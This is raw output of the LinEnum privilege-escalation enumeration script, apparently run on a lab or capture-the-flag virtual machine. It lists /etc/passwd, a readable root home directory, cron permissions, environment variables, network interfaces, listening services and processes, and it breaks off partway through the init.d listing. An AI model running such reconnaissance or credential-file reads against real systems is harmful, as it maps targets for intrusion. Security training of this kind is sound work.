uid=1000(employee) gid=1000(employee) groups=1000(employee)
ash: gid=0(root): unknown operand
[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
chrony:x:100:101:chrony:/var/log/chrony:/sbin/nologin
employee:x:1000:1000:Linux User,,,:/home/employee:/bin/ash
[-] Super user account(s):
root
[+] We can read root's home directory!
total 0
[-] Are permissions on /home directories lax:
total 3K
drwxr-xr-x 3 root root 1.0K Jul 16 2019 .
drwxr-xr-x 22 root root 1.0K Jul 16 2019 ..
drwxr-sr-x 4 employee employee 1.0K Jan 20 00:35 employee
### ENVIRONMENTAL #######################################
[-] Environment information:
MAIL=/var/mail/employee
USER=employee
SSH_CLIENT=192.168.1.29 58226 22
SHLVL=2
HOME=/home/employee
OLDPWD=/home/employee/public
SSH_TTY=/dev/pts/0
PAGER=less
PS1=\h:\w\$
LOGNAME=employee
TERM=xterm-256color
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SHELL=/bin/ash
PWD=/home/employee
SSH_CONNECTION=192.168.1.29 58226 192.168.1.50 22
CHARSET=UTF-8
ls: /usr/local/sbin: No such file or directory
[-] Path information:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
drwxr-xr-x 2 root root 3072 Jul 16 2019 /bin
drwxr-xr-x 2 root root 5120 Jul 16 2019 /sbin
drwxr-xr-x 2 root root 8192 Jul 17 2019 /usr/bin
drwxr-xr-x 2 root root 1024 Jul 16 2019 /usr/local/bin
drwxr-xr-x 2 root root 1024 Jul 16 2019 /usr/sbin
[-] Available shells:
# valid login shells
/bin/sh
/bin/ash
[-] Current umask value:
0022
u=rwx,g=rx,o=rx
### JOBS/TASKS ##########################################
[-] Cron jobs:
total 6
drwxr-xr-x 2 root root 1024 Jul 16 2019 .
drwxr-xr-x 26 root root 3072 Jan 20 00:34 ..
-rw------- 1 root employee 35 Jul 16 2019 employee
-rw------- 1 root root 283 Jun 17 2019 root
[-] Anything interesting in /var/spool/cron/crontabs:
lrwxrwxrwx 1 root root 13 Jul 16 2019 /var/spool/cron/crontabs -> /etc/crontabs
### NETWORKING ##########################################
[-] Network and IP info:
eth0 Link encap:Ethernet HWaddr 08:00:27:2F:C5:A5
inet addr:192.168.1.50 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe2f:c5a5/64 Scope:Link
inet6 addr: 2a01:e35:2fef:d7e0:a00:27ff:fe2f:c5a5/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:605918 errors:0 dropped:0 overruns:0 frame:0
TX packets:4182872 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:67857047 (64.7 MiB) TX bytes:5841268665 (5.4 GiB)
eth1 Link encap:Ethernet HWaddr 08:00:27:BE:96:89
inet addr:172.28.128.6 Bcast:0.0.0.0 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:febe:9689/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:20 errors:0 dropped:0 overruns:0 frame:0
TX packets:36 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7030 (6.8 KiB) TX bytes:5518 (5.3 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:216 errors:0 dropped:0 overruns:0 frame:0
TX packets:216 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:15632 (15.2 KiB) TX bytes:15632 (15.2 KiB)
[-] ARP history:
? (192.168.1.29) at f4:5c:89:c9:be:c5 [ether] on eth0
? (172.28.128.2) at 08:00:27:45:9c:9a [ether] on eth1
? (192.168.1.21) at 08:00:27:1f:30:76 [ether] on eth0
? (192.168.1.67) at 08:00:27:1f:30:76 [ether] on eth0
[-] Default route:
default 192.168.1.254 0.0.0.0 UG 202 0 0 eth0
[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 2012/main-static
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 :::22 :::* LISTEN -
[-] Listening UDP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 127.0.0.1:323 0.0.0.0:* -
udp 0 0 ::1:323 :::* -
### SERVICES #############################################
[-] Running processes:
PID USER TIME COMMAND
1 root 0:00 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]
4 root 0:00 [rcu_par_gp]
6 root 0:00 [kworker/0:0H-kb]
8 root 0:00 [mm_percpu_wq]
9 root 0:00 [ksoftirqd/0]
10 root 0:00 [rcu_sched]
11 root 0:00 [rcu_bh]
12 root 0:00 [migration/0]
13 root 0:03 [kworker/0:1-eve]
14 root 0:00 [cpuhp/0]
15 root 0:00 [kdevtmpfs]
16 root 0:00 [netns]
17 root 0:00 [kauditd]
20 root 0:00 [oom_reaper]
21 root 0:00 [kworker/u2:2-ev]
182 root 0:00 [writeback]
183 root 0:00 [kcompactd0]
185 root 0:00 [ksmd]
186 root 0:00 [crypto]
187 root 0:00 [kintegrityd]
189 root 0:00 [kblockd]
247 root 0:00 [ata_sff]
257 root 0:00 [md]
263 root 0:00 [watchdogd]
368 root 0:00 [kswapd0]
478 root 0:00 [kthrotld]
499 root 0:00 [scsi_eh_0]
504 root 0:00 [scsi_tmf_0]
508 root 0:00 [scsi_eh_1]
519 root 0:00 [scsi_tmf_1]
522 root 0:00 [scsi_eh_2]
523 root 0:00 [scsi_tmf_2]
527 root 0:00 [kworker/u2:4-ev]
893 root 0:00 [kworker/0:2-ata]
1035 root 0:00 [kworker/0:1H-kb]
1036 root 0:00 [jbd2/sda3-8]
1037 root 0:00 [ext4-rsv-conver]
1436 root 0:00 [ttm_swap]
1437 root 0:00 [irq/18-vmwgfx]
1522 root 0:00 [ipv6_addrconf]
1669 root 0:00 [jbd2/sda1-8]
1670 root 0:00 [ext4-rsv-conver]
1855 root 0:00 udhcpc -b -p /var/run/udhcpc.eth0.pid -i eth0 -x hostname:minuv2
1873 root 0:00 udhcpc -b -p /var/run/udhcpc.eth1.pid -i eth1
1903 root 0:00 /sbin/syslogd -t
1957 root 0:00 /sbin/acpid
1986 chrony 0:00 /usr/sbin/chronyd -f /etc/chrony/chrony.conf
2011 root 0:00 /usr/sbin/crond -c /etc/crontabs
2012 employee 0:36 /home/employee/main-static
2044 root 0:00 /usr/sbin/sshd
2048 root 0:00 /sbin/getty 38400 tty1
2049 root 0:00 /sbin/getty 38400 tty2
2053 root 0:00 /sbin/getty 38400 tty3
2056 root 0:00 /sbin/getty 38400 tty4
2060 root 0:00 /sbin/getty 38400 tty5
2065 root 0:00 /sbin/getty 38400 tty6
2735 root 0:00 sshd: employee [priv]
2738 employee 0:00 sshd: employee@pts/0
2739 employee 0:00 -ash
2771 employee 0:00 ash LinEnum.sh
2772 employee 0:00 ash LinEnum.sh
2773 employee 0:00 tee -a
2909 root 0:00 /sbin/getty -L 0 ttyS0 vt100
2923 employee 0:00 ps aux
[-] /etc/init.d/ binary permissions:
total 117